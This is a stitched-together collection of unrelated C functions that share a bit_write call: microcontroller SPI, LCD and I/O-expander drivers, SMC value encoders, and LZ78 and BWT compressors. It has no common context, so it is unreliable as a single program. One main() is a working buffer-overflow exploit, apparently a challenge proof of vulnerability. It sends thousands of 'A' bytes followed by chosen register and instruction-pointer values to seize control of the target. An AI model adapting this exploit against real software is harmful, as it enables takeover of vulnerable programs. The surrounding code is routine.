void SPI::acquire(Driver* dev) { // Acquire the device driver. Wait if busy. Synchronized update uint8_t key = lock(); while (UNLIKELY(m_busy)) { unlock(key); yield(); key = lock(); } // Set current device and mark as busy m_busy = true; m_dev = dev; #if defined(SPDR) // Initiate SPI hardware with device settings SPCR = dev->m_spcr; SPSR = dev->m_spsr; #else // Set clock polarity bit_write(dev->m_cpol & 0x02, PORT, Board::SCK); #endif // Disable all interrupt sources on SPI bus for (SPI::Driver* dev = m_list; dev != NULL; dev = dev->m_next) if (dev->m_irq != NULL) dev->m_irq->disable(); unlock(key); }
void OutDataPort(uint8_t data) { data=~data; // в этой версии включаем нулями, поэтому инвертируем for (uint8_t i=0;i<8;i++) { bit_clear(PortControl, BIT(PCshift)); // взвели строб в 1 bit_write(data & 0x80, PortControl, BIT(PCdata)); // вывели бит данных // _delay_us(3); bit_set(PortControl, BIT(PCshift)); // послали строб сдвига // _delay_us(3); data <<= 1; } // работаем по переднему фронту bit_clear(PortControl,BIT(PClatch)); _delay_us(3); bit_set(PortControl,BIT(PClatch)); // послали строб записи в выходы bit_write(1, PortControl, BIT(PCdata)); // выставляем 1 на вход данных, т.е. в случшае помех по шине строба мы будем выключать устройства, а не включать bit_clear(PortControl,BIT(PClatch)); }
/** * Encode integer value to SMC integer format * * @param value Integer value to be encoded * @param type Integer SMC type ("ui8 ", "ui16", "ui32", "si8 ") * @param size Buffer size for encoded bytes, one byte for ui8, 2 bytes for ui16 etc. * @param outBuffer Buffer where encoded bytes will be copied to, should be already allocated with correct size * * @return True on success False otherwise */ bool fakeSMCPluginEncodeIntValue(int value, const char *type, const UInt8 size, void *outBuffer) { if (type && outBuffer) { size_t typeLength = strnlen(type, 4); if (typeLength >= 3 && (type[0] == 'u' || type[0] == 's') && type[1] == 'i') { bool minus = value < 0; bool signd = type[0] == 's'; if (minus) value = -value; switch (type[2]) { case '8': if (type[3] == '\0' && size == 1) { UInt8 encoded = (UInt8)value; if (signd) bit_write(signd && minus, encoded, BIT(7)); bcopy(&encoded, outBuffer, 1); return true; } break; case '1': if (type[3] == '6' && size == 2) { UInt16 encoded = (UInt16)value; if (signd) bit_write(signd && minus, encoded, BIT(15)); OSWriteBigInt16(outBuffer, 0, encoded); return true; } break; case '3': if (type[3] == '2' && size == 4) { UInt32 encoded = (UInt32)value; if (signd) bit_write(signd && minus, encoded, BIT(31)); OSWriteBigInt32(outBuffer, 0, encoded); return true; } break; } } } return false; }
/** * Helper to update a single bit of an A/B register. * - Reads the current register value * - Writes the new register value */ void MCP23017::updateRegisterBit(uint8_t pin, uint8_t pValue, uint8_t portAaddr, uint8_t portBaddr) { uint8_t regValue; uint8_t regAddr=regForPin(pin,portAaddr,portBaddr); uint8_t bit=bitForPin(pin); regValue = readRegister(regAddr); // set the value for the particular bit bit_write(pValue,regValue,bit); writeRegister(regAddr,regValue); }
int emit(uint64_t symbol) { int ret; ret = bit_write(my_bitio_c, actual_bits_counter, symbol); if (ret < 0) { fprintf(stderr, "Unable to perform the bit_write\n"); return -1; } return 0; }
bool AnalogPin::sample_request(Board::AnalogPin pin, uint8_t ref) { if (sampling_pin != NULL) return (false); loop_until_bit_is_clear(ADCSRA, ADSC); sampling_pin = this; ADMUX = (ref | (pin & 0x1f)); #if defined(MUX5) bit_write(pin & 0x20, ADCSRB, MUX5); #endif bit_mask_set(ADCSRA, _BV(ADEN) | _BV(ADSC) | _BV(ADIE)); return (true); }
uint16_t AnalogPin::sample(Board::AnalogPin pin, Board::Reference ref) { if (sampling_pin != NULL) return (0xffffU); loop_until_bit_is_clear(ADCSRA, ADSC); ADMUX = (ref | (pin & 0x1f)); #if defined(MUX5) bit_write(pin & 0x20, ADCSRB, MUX5); #endif bit_mask_set(ADCSRA, _BV(ADEN) | _BV(ADSC)); loop_until_bit_is_clear(ADCSRA, ADSC); return (ADCW); }
void MCP23017::digitalWrite(uint8_t pin, uint8_t d) { uint8_t gpio; uint8_t bit=bitForPin(pin); // read the current GPIO output latches uint8_t regAddr=regForPin(pin,MCP23017_OLATA,MCP23017_OLATB); gpio = readRegister(regAddr); // set the pin and direction bit_write(d,gpio,bit); // write the new GPIO regAddr=regForPin(pin,MCP23017_GPIOA,MCP23017_GPIOB); writeRegister(regAddr,gpio); }
void Sampler::samplePinInput() { static int bitCount = 7; static unsigned char data = 0; // Get the state of PINB2 and set the appropriate bit in 'value' to it bit_write(bit_get(PINB, BIT(PINB2)), data, BIT(bitCount)); --bitCount; if (bitCount < 0) { value = data; dataReady = true; bitCount = 7; data = 0; } }
int write_header(struct bitfile *b_file, const struct header *h){ int ret; if( b_file==NULL || h == NULL){ errno = EINVAL; return -1; } // write magic number [32 bits] ret = bit_write(b_file,(char*)(h->magic),32,0); if(ret == -1) return -1; // header len [8 bits] ret = bit_write(b_file,(char*)(&h->header_len),8,0); if(ret == -1) return -1; // write version [8 bits] ret = bit_write(b_file,(char*)(&h->ver),8,0); if(ret == -1) return -1; // write byte order (BIG/LITTLE ENDIAN) [8 bits] ret = bit_write(b_file,(char*)(&h->byte_order),8,0); if(ret == -1) return -1; // write look ahead len [8 bits] ret = bit_write(b_file,(char*)(&h->look_ah_len),8,0); if(ret == -1) return -1; // write window len [16 bits] ret = bit_write(b_file,(char*)(&h->window_len),16,0); if(ret == -1) return -1; // write dictionary name [16 bits] ret = bit_write(b_file,h->dict,16,0); if(ret == -1) return -1; return 0; }
void LCDsendChar(uint8_t aData) { LCDwaitUntilNotBusy(); //send hi byte bit_set(LCD_RS_PORT, BIT(LCD_RS_BIT)); //rs=1 bit_write(bit_get(aData,BIT(4)), LCD_D4_PORT, BIT(LCD_D4_BIT)); bit_write(bit_get(aData,BIT(5)), LCD_D5_PORT, BIT(LCD_D5_BIT)); bit_write(bit_get(aData,BIT(6)), LCD_D6_PORT, BIT(LCD_D6_BIT)); bit_write(bit_get(aData,BIT(7)), LCD_D7_PORT, BIT(LCD_D7_BIT)); LCDtoggleEn(); //send lo byte bit_write(bit_get(aData,BIT(0)), LCD_D4_PORT, BIT(LCD_D4_BIT)); bit_write(bit_get(aData,BIT(1)), LCD_D5_PORT, BIT(LCD_D5_BIT)); bit_write(bit_get(aData,BIT(2)), LCD_D6_PORT, BIT(LCD_D6_BIT)); bit_write(bit_get(aData,BIT(3)), LCD_D7_PORT, BIT(LCD_D7_BIT)); LCDtoggleEn(); }
//send command to lcd void LCDsendCommand(uint8_t aCmd) { LCDwaitUntilNotBusy(); //send hi byte bit_clear(LCD_RS_PORT, BIT(LCD_RS_BIT)); //rs=0 bit_write(bit_get(aCmd,BIT(4)), LCD_D4_PORT, BIT(LCD_D4_BIT)); bit_write(bit_get(aCmd,BIT(5)), LCD_D5_PORT, BIT(LCD_D5_BIT)); bit_write(bit_get(aCmd,BIT(6)), LCD_D6_PORT, BIT(LCD_D6_BIT)); bit_write(bit_get(aCmd,BIT(7)), LCD_D7_PORT, BIT(LCD_D7_BIT)); LCDtoggleEn(); //send lo byte bit_write(bit_get(aCmd,BIT(0)), LCD_D4_PORT, BIT(LCD_D4_BIT)); bit_write(bit_get(aCmd,BIT(1)), LCD_D5_PORT, BIT(LCD_D5_BIT)); bit_write(bit_get(aCmd,BIT(2)), LCD_D6_PORT, BIT(LCD_D6_BIT)); bit_write(bit_get(aCmd,BIT(3)), LCD_D7_PORT, BIT(LCD_D7_BIT)); LCDtoggleEn(); }
/** * Configures the interrupt system. both port A and B are assigned the same configuration. * Mirroring will OR both INTA and INTB pins. * Opendrain will set the INT pin to value or open drain. * polarity will set LOW or HIGH on interrupt. * Default values after Power On Reset are: (false,flase, LOW) * If you are connecting the INTA/B pin to arduino 2/3, you should configure the interupt handling as FALLING with * the default configuration. */ void MCP23017::setupInterrupts(uint8_t mirroring, uint8_t openDrain, uint8_t polarity){ // configure the port A uint8_t ioconfValue=readRegister(MCP23017_IOCONA); bit_write(mirroring,ioconfValue,6); bit_write(openDrain,ioconfValue,2); bit_write(polarity,ioconfValue,1); writeRegister(MCP23017_IOCONA,ioconfValue); // Configure the port B ioconfValue=readRegister(MCP23017_IOCONB); bit_write(mirroring,ioconfValue,6); bit_write(openDrain,ioconfValue,2); bit_write(polarity,ioconfValue,1); writeRegister(MCP23017_IOCONB,ioconfValue); }
int main(void) { negotiate_type1(0xfefefefe, 0xfefefefe, 5); int i, buf_len = 0; char buf[32], *pbuf; unsigned char exploit[4096]; unsigned char *eip = NULL, *reg = NULL; unsigned int eip_len = 0, reg_len = 0, exp_len = 0; char *key = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"; transmit_all(STDOUT, "2\n", 2); transmit_all(STDOUT, key, 95); eip = append_var("TYPE1_IP", eip, &eip_len); reg = append_var("TYPE1_REG", reg, ®_len); memset(exploit, 0, sizeof(exploit)); bio_t *bio = bit_new(exploit); for (i = 0; i < 2316; ++i) { bit_write(bio, '\x00', 1); bit_write(bio, '\x41', 8); } for (i = 0; i < 4; ++i) { bit_write(bio, '\x00', 1); bit_write(bio, reg[i], 8); } for (i = 0; i < 4; ++i) { bit_write(bio, '\x00', 1); bit_write(bio, eip[i], 8); } exp_len = bio->didx + !!(bio->bidx > 0); pbuf = _print_signed(buf + 32, &buf_len, exp_len + 4); transmit_all(STDOUT, pbuf, buf_len); transmit_all(STDOUT, "\n", 1); buf_len = 2316 + 4 + 4; transmit_all(STDOUT, (char *)&buf_len, 4); transmit_all(STDOUT, exploit, exp_len); return 0; }
/** * Encode floating point value to SMC float format * * @param value Floating point value to be encoded * @param type Floating point SMC type name ("fp2e", "fpe2", "sp78" are correct float SMC types) * @param size Buffer size for encoded bytes, for every floating SMC type should be 2 bytes * @param outBuffer Buffer where encoded bytes will be copied to, should be already allocated with correct size * * @return True on success False otherwise */ bool fakeSMCPluginEncodeFloatValue(float value, const char *type, const UInt8 size, void *outBuffer) { if (type && outBuffer) { size_t typeLength = strnlen(type, 4); if (typeLength >= 3 && (type[0] == 'f' || type[0] == 's') && type[1] == 'p') { bool minus = value < 0; bool signd = type[0] == 's'; UInt8 i = fakeSMCPluginGetIndexFromChar(type[2]); UInt8 f = fakeSMCPluginGetIndexFromChar(type[3]); if (i + f == (signd ? 15 : 16)) { if (minus) value = -value; UInt16 encoded = value * (float)BIT(f); if (signd) bit_write(minus, encoded, BIT(15)); OSWriteBigInt16(outBuffer, 0, encoded); return true; } } } return false; }
/*--Function for compress file--*/ void compress(char * str_in,lz78_compressor * in, struct bitio* file) { char* buf=malloc(16); uint64_t inp=0; int father=0; int child=0; int go=1; uint64_t c=0; int flag=0; int ret=0; struct bitio*file_out=bit_open(in->output_file,1); /*After compress i put the info of the file at the beginning of the file*/ info* ret_info=malloc(sizeof(info)); /*Put the info at the beginning of the file and return a structure with the info*/ ret_info=addinfo(file_out,file,in->file_to_compress,0,in->d_max); in->number_of_code^=in->number_of_code; //XOR reset: if(flag==0){ /*Only for the first character*/ ret=bit_read(file,(u_int)8,&inp); buf[1]=(char)(inp&((1UL<<8)-1)); //printf("Ric: %X\n",buf[1] & 0xff); } printf("-----------\n"); while(go==1){ while(look_up_and_add(father,buf[1],in)==0){//repeat the operation until i don't fint a node =>scroll the tree buf[0]=buf[1]; father=hash_table[hash(child,(char)(inp&((1UL<<8)-1)))].child_index; //printf("Padre: %d\n",father); ret=bit_read(file,(u_int)8,&inp); buf[1]=(char)(inp&((1UL<<8)-1)); //printf("Ric: %X\n",buf[1] & 0xff); child=father; } //printf("Output: %X Char %c\n",father & 0xff,buf[1]); bit_write(file_out,16, (int) father); in->number_of_code++; father=0; // restart from the root child=0; c++; if(ret==0)break; if(in->counter_child_tree>=in->d_max-1){ //I need to empty the tree and restart the compressio from the current position free(hash_table); in->counter_child_tree=0; hash_init(6700417,in); goto reset; }; } flush_out_buffer(file_out); //add the SHA-1 of the compressed-file in the header long old_index=ftell(file_out->f);//save the curren pointer to position of the file struct bitio* file_out_rd=bit_open(in->output_file,0);//I re-open the output file but in in read mode this time getSHA1(88,in->number_of_code,file_out_rd,ret_info); //I do the SHA-1 over the whole file bit_close(file_out_rd); fseek(file_out->f,(long)0x40,SEEK_SET); //I write the SHA-1 hash in the correct position //printf("SHA-1: "); for (int i = 0; i < 20; i ++) { bit_write(file_out,(u_int)8*sizeof(unsigned char),(unsigned char)ret_info->sha1[i]); // printf(" %2x", (unsigned char)ret_info->sha1[i]); } bit_write(file_out,(u_int)32,in->number_of_code); //printf("\n"); flush_out_buffer(file_out); fseek(file_out->f,old_index,SEEK_SET); // restore the pointer of the file in order to close the file in the rigth way //close the file descriptor bit_close(file_out); }
/* ******************************************************************** rle+compression of a string: Fenwick;s three-level model input int len size of mtf sequence uchar *in input mtf sequence int alpha_size size of the alphabet output the compressed string is written in the output file note the mtf rank is coded as follows: if <=2 then the first level codes the rank using 2 bits. In case (>2 and <=9) then we write 11 as escape code and go to the second level where the rank is coded using 3 bits as (rank - 3). If rank > 9, then again an escape code is output as 111, and (rank - 10) is represented using enough bits. One important point is that, when the rank is equal to Mtf_save then the next value denotes a character and thus it is coded in binary using a proper number of bits. ******************************************************************* */ void rle_hierarchical(uchar *in, int len, int alpha_size) { int int_log2(int); void bit_write(int,int); int bits_x_char,i,z; uchar c; int mtf_size; mtf_size = MIN(Mtf_save,alpha_size); bits_x_char = int_log2(alpha_size); z=-1; // # of pending zeroes (-1) for(i=0; i<len;i++) { assert(in[i]<alpha_size); if(in[i]==0) { if(++z==255) { bit_write(2,0); // unary code for 0 bit_write(8,255); // write 255 using 8 bits z=-1; } } else { /* ----- check if there are pending zeores ---- */ if(z>=0) { bit_write(2,0); // unary code for 0 bit_write(8,z); // write z using 8 bits z=-1; } // ---- write a nonzero mtf rank ----- if(in[i]<=2) { bit_write(2,in[i]); // binary coding } if((in[i]>2) && (in[i] <= 9)){ bit_write(2,3); // escape level 1 bit_write(3,in[i]-3); // binary coding of second level } if((in[i] > 9) && (in[i] <= mtf_size)){ bit_write(5,31); // escape code level 2 bit_write(int_log2(mtf_size-10),in[i]-10); } if(in[i] == mtf_size){ c=in[++i]; // get actual char assert(c<alpha_size); bit_write(bits_x_char,c); // write remapped char } } } // ---- there could be some pending zeroes if(z>=0) { bit_write(2,0); // unary code for 0 bit_write(8,z); // 255 using 8 bits } }
/* ********************************************************* The current format of the prologue is the following: 8 bits type of compression (2=Hier, 4=Multi Table Huff) 1 int size of input file 1 int position of eof in s->bw 1 uint16 size of a super bucket divided by 1024 1 uchar size of a bucket divided by 1024 (divides the previous) 1 uchar size-1 mtf_list stored in each bucket 1 uchar size-1 of the compacted alphabet of the text 1 uchar remapped char selected for occurrence list 1 int # skipped occ of chosen_char in bwt 1 int starting byte of occ-explicit list 256 bits boolean map of chars in the text (S = # of 1) S int prefix sum of character occurrences for each superbucket S' bytes map of compact_alph chars occurring in THIS superbucket (S' = (S+7)/8 -- it is byte aligned) ****FLUSH**** S int # occ of all compact_alphabet chars in prev superbuckets finally: NB x L starting position of each bucket in the compressed file NB is the number of buckets and L is the number of bits sufficient to represent that length (byte_aligned) -------- Body of the compressed file [byte-aligned] ------------- for each bucket (let R be the # of distinct chars in the superbucket) R 7x8val # of occ of each char in the previous buckets of the same superbucket. Each value is represented with the 7x8 encoding. This information is missing for the first bucket of each superbucket R bits map of chars appearing in this bucket. Let R' be the # of distinct chars in this bucket and L' the # of bits required to represent R' L' x M bits Initial move to front list for this bucket M = min(R',Mtf_save) ... bits needed to byte-align in case ONLY of Arith-coding ??? bits compressed bucket in mtf + rle + [Ari|Hier|Una] format --- bits ****FLUSH**** to have byte alignment -------- Body of the occ explicit list [byte-aligned] ------------- --------------------------------------------------------------------- --- URL: we have occ for text positions and rows --- ... L bits list of positions where character ch occurs in the original text. ch = character that occurs close to Marked_char_freq times in the text. **************************************************************** */ void write_prologue(bwi_input *s) { void init_bit_buffer(void); int int_log2(int); void uint_write(int); void bit_write(int,int); void bit_flush(void); void write7x8(int); bucket_lev1 sb; int i,len,k; /* ----- write file and bucket size ------ */ init_bit_buffer(); bit_write(8,Type_compression); uint_write(s->text_size); uint_write(s->bwt_eof_pos); assert(Bucket_size_lev1>>10<65536); assert((Bucket_size_lev1 & 0x3ff) == 0); bit_write(16,Bucket_size_lev1>>10); assert(Bucket_size_lev2>>10<256); assert((Bucket_size_lev2 & 0x3ff) == 0); bit_write(8,Bucket_size_lev2>>10); // ---- mtf and alphabet information assert(Mtf_save>0 && Mtf_save<=256); bit_write(8,Mtf_save-1); assert(s->alpha_size>0 && s->alpha_size<=256); bit_write(8,s->alpha_size-1); // ---- write chosen_char & starting byte of occ-list bit_write(8,s->chosen_char); uint_write(s->skip); uint_write(0); // ---- boolean alphabet char map for(i=0;i<256;i++) if(s->bool_char_map[i]) bit_write(1,1); else bit_write(1,0); // ---- write prefix sum of char occ for(i=0; i<s->alpha_size; i++) uint_write(s->pfx_char_occ[i]); // ----- process superbuckets for(i=0;i<Num_bucs_lev1;i++) { sb = s->buclist_lev1[i]; for(k=0;k<s->alpha_size;k++) // boolean char_map if(sb.bool_char_map[k]) bit_write(1,1); else bit_write(1,0); bit_flush(); // we keep everything byte aligned if(i>0) // write prefix-occ for(k=0;k<s->alpha_size;k++) uint_write(sb.occ[k]); } // ----- leave space for storing the start positions of buckets len = (int_log2(s->text_size)+7)/8; //it's byte-aligned for(i=0;i<Num_bucs_lev2;i++) bit_write(len * 8,0); }
/* ************************************************************ * * * main compression routine * * * ********************************************************** */ void compress_file(void) { void read_text(FILE *, bwi_input *s); void remap_alphabet(bwi_input *s); void build_sa(bwi_input *s); void compute_bwt(bwi_input *s); void compute_info_superbuckets(bwi_input *s); void compute_info_buckets(bwi_input *s); void write_prologue(bwi_input *s); void compress_superbucket(bwi_input *s, int); int compute_locations(bwi_input *s); int compute_locations_dict(bwi_input *s, int*); int compute_ranks_dict(bwi_input *s, int*); int compute_locations_huffword(bwi_input *s, int *); void bit_flush( void ); void bit_write(int,int); void init_bit_buffer(void); void write_susp_infos(bwi_input *s); bwi_input s; int i,len, retr_occ, retr_occ2, loc_occ_range; int Start_prologue_ranks; /* --------- Load the text file from disk ------- */ if(Verbose) fprintf(stderr,"Reading input file... "); read_text(Infile, &s); if(Verbose) fprintf(stderr,"done! (%f seconds)\n",getTime()); /* --------- Compact alphabet ------- */ if(Verbose>1) fprintf(stderr,"Remapping alphabet... "); remap_alphabet(&s); if(Verbose>1) fprintf(stderr,"done! (%f seconds). ",getTime()); if(Verbose>1) fprintf(stderr,"Compact alphabet size = %d\n",s.alpha_size); /* --------- Build suffix array ------- */ if(Verbose) fprintf(stderr,"Building suffix array"); build_sa(&s); if(Verbose) fprintf(stderr,"done! (%f seconds)\n",getTime()); /* --------- Compute BWT ------- */ if(Verbose>1) fprintf(stderr,"Computing BWT... "); compute_bwt(&s); if(Verbose>1) fprintf(stderr,"done! (%f seconds)\n",getTime()); /* ------- mark chars and compute locations ----- */ if (Is_dictionary) retr_occ = compute_locations_dict(&s,&loc_occ_range); // dictionary else if (Is_huffword) retr_occ = compute_locations_huffword(&s,&loc_occ_range);// huffword else if (Is_URL) retr_occ = compute_ranks_dict(&s,&loc_occ_range); // URL else retr_occ = compute_locations(&s); // standard /* --------- Compute various infos for each superbucket ------- */ if(Verbose>1) fprintf(stderr,"Computing infos superbukets... "); compute_info_superbuckets(&s); if(Verbose>1) fprintf(stderr,"done! (%f seconds)\n", getTime()); /* --------- Compute various infos for each bucket ------- */ if(Verbose>1) fprintf(stderr,"Computing infos buckets... "); compute_info_buckets(&s); if(Verbose>1) fprintf(stderr,"done! (%f seconds)\n", getTime()); /* --------- Writing the compressed file ------- */ Infile_size = s.text_size; Outfile_size=0; write_prologue(&s); if(Verbose) fprintf(stderr,"Prologue --> %d bytes!\n",Outfile_size); for(i=0;i<Num_bucs_lev1;i++) compress_superbucket(&s,i); /* ---- keep starting positions of occ-explicit list ---- */ Start_prologue_occ = Outfile_size; /* -- write the starting position of buckets -- */ write_susp_infos(&s); if (fseek(Outfile,Start_prologue_occ,SEEK_SET)) { fprintf(stderr, "Seek error on output file -compress_file-\n"); exit(1); } /* -- write the position of the marked chars ---- */ init_bit_buffer(); if(Is_dictionary || Is_huffword || Is_URL) len = int_log2(loc_occ_range); // bits required for each rank else len = int_log2(s.text_size); // bits required for each pos for(i=0; i < retr_occ; i++) bit_write(len,s.loc_occ[i]); bit_flush(); Start_prologue_ranks = (int)ftell(Outfile); if(Verbose) fprintf(stderr,"List of %d marked ranks --> %d bytes!\n", retr_occ,Start_prologue_ranks-Start_prologue_occ); /* -- in the case of URL we also store the DICT info -- */ /* It should be put together with the computation above --*/ /* Thus removing these differences in the code --*/ /* Hence Start_prologue_occ indicates the starting position of RANKS. */ /* After retr_occ RANKS start the LOCATIONS, which are again retr_occ */ /* in number. The value of retr_occ can be computed at decompression time */ /* by using the same formula adopted in compute_ranks_dict() */ if (Is_URL) { retr_occ2 = compute_locations_dict(&s,&loc_occ_range); // DICT if (retr_occ != retr_occ2) out_of_mem("Unequal number of sampled NULLs\n"); for(i=0; i < retr_occ; i++) bit_write(len,s.loc_occ[i]); bit_flush(); if(Verbose) fprintf(stderr,"List of %d marked locations --> %d bytes!\n", retr_occ2,(int)ftell(Outfile) - Start_prologue_ranks); } }
/* ********************************************************************** compress and write to file a bucket of length "len" starting at in[0]. the compression is done as follows: first the charatcters are remapped (we expect only a few distinct chars in a single bucket) then we use mtf (with a list of size Mtf_save) then we rle and compress using a unary code. ********************************************************************** */ void compress_bucket(uchar *in, int len, int alpha_size) { int int_log2(int); void init_bit_buffer(void); void bit_write(int,int); void bit_flush( void ); void out_of_mem(char *); int mtf_string(uchar *, uchar *, uchar *, int); void rle_hierarchical(uchar *, int, int); void multihuf_compr(uchar *, int, int); int k,j,bits_x_char,local_alpha_size,mtf_len; uchar c,mtf[256],local_bool_map[256], local_map[256]; uchar *mtf_seq; /* ---------- init ------------ */ init_bit_buffer(); /* ---------- compute and write local boolean map ------ */ for(k=0;k<alpha_size;k++) local_bool_map[k]=local_map[k]=0; local_alpha_size=0; for(j=0;j<len;j++) { // compute local boolean map c=in[j]; // remapped char assert(c<alpha_size); local_bool_map[c]=1; } for(k=0;k<alpha_size;k++) // compute local map if(local_bool_map[k]) local_map[k]=local_alpha_size++; for(j=0;j<len;j++) // remap bucket in[j]=local_map[in[j]]; for(k=0;k<alpha_size;k++) // write bool char map to file if(local_bool_map[k]) bit_write(1,1); else bit_write(1,0); /* ----------- compute and write mtf picture ------------- */ mtf_seq = (uchar *) malloc(2*len*sizeof(uchar)); // mtf temporary buffer if(mtf_seq==NULL) out_of_mem("compress_bucket (mtf_seq)"); mtf_len = mtf_string(in,mtf_seq,mtf,len); // mtf_seq=mtf(in), init mtf-list bits_x_char = int_log2(local_alpha_size); // write mtf to file for(k=0;k<MIN(Mtf_save,local_alpha_size);k++) { bit_write(bits_x_char,mtf[k]); } // -- Applies the proper compression routine -- switch (Type_compression) { case ARITH: // ---- Arithmetic compression of the bucket ----- fatal_error("Arithmetic coding no longer available -compress_bucket-\n"); exit(1); case HIER3: // ---- three-leveled model: Fenwick's proposal ----- rle_hierarchical(mtf_seq, mtf_len,local_alpha_size); break; case UNARY: // ---- Unary compression of mtf-ranks with escape ----- fatal_error("Unary coding no longer available -compress_bucket-\n"); exit(1); case MULTIH: // ---- RLE + MultiHuffman compression of the bucket ----- multihuf_compr(mtf_seq,mtf_len,local_alpha_size); break; default: fprintf(stderr,"\n Compression algorithm unknown! "); fprintf(stderr,"-compress_superbucket-\n"); exit(1); } bit_flush(); // Byte-align the next compressed bucket free(mtf_seq); }
/*--Function for Decompressor--*/ void decompress(struct bitio* file_to_read,struct bitio* file,lz78_decompressor* in) { //char * out=malloc(sizeof(char)*150); char out[50]; out[0]='\0'; int i=0; int j=0; char first_char=0; file_to_read=bit_open(in->file_to_decompress,0); if(file_to_read==NULL){ printf("File not found or you don't have enough privilege to open a file\n"); return; } uint64_t inp=0; int temp=0; char prec_char=0; int first_father; int ret=0; int x=0; //fseek(file_to_read->f,4,SEEK_SET); in->info_ptr=getinfo(file_to_read); reset: while(x>=0){ ret=bit_read(file_to_read,16,&inp); first_father=temp=(int)(inp&((1UL<<16)-1))-1; if(first_father<=0)goto fine_file; while((first_char=look_up_array(temp))==-1){ out[i]=(char)array_tree[temp].c; temp=(int)array_tree[temp].father_num; i++; } if(ret<=0) { fine_file:printf("The file was correctly extracted...\n"); //no more data to read flush_out_buffer(file); break; } out[i]=first_char; if(x==0){ prec_char=(int)(inp&((1UL<<16)-1))-1; //printf("ricevuto :%d Inserisco il nodo %d con padre %d\n",first_father,(int)in->counter_child_tree-1,prec_char); array_tree[(int)in->counter_child_tree-1].father_num=(int)((inp&((1UL<<16)-1))-1); in->counter_child_tree++; } if(x>0){ //printf("Inserisco %c nel nodo %d temp:%d\n",array_tree[temp].c,(int)in->counter_child_tree-2,temp); array_tree[(int)in->counter_child_tree-2].c=array_tree[temp].c; //printf("Inserisco il nodo %d con padre %d\n",(int)in->counter_child_tree-1,(int)(inp&((1UL<<16)-1))-1); /*I have to add a new node*/ array_tree[(int)in->counter_child_tree-1].father_num=(int)(inp&((1UL<<16)-1))-1; out[0]=((int)in->counter_child_tree-2==(int)((inp&((1UL<<16)-1))-1))?array_tree[temp].c:(char)array_tree[(int)((inp&((1UL<<16)-1))-1)].c; //If i have received the last node insert, i have to update the output string becouse i didn't have the char of the node received in->counter_child_tree++; } //out[i+1]='\0'; for(j=i;j>=0;j--){bit_write(file,8, out[j]); //printf("%c",(out[j])); } // I print the buffer string //printf("\n"); i=0; x++; out[0]='\0'; if(in->counter_child_tree>=in->d_max-1){ //need to empty the array based tree for the decompressor free(array_tree); in->counter_child_tree=0; array_init(6700417,in); x=0; goto reset; } } /*rewind(file_to_read->f); uint64_t r; bit_read(file_to_read,8,&r); printf("%c aad\n",(char)r&((1UL<<8)-1)); bit_read(file_to_read,8,&r); printf("%c aad\n",(char)r&((1UL<<8)-1)); bit_read(file_to_read,8,&r); printf("%c aad\n",(char)r&((1UL<<8)-1)); bit_read(file_to_read,8,&r); printf("%c aad\n",(char)r&((1UL<<8)-1)); */ bit_close(file_to_read); }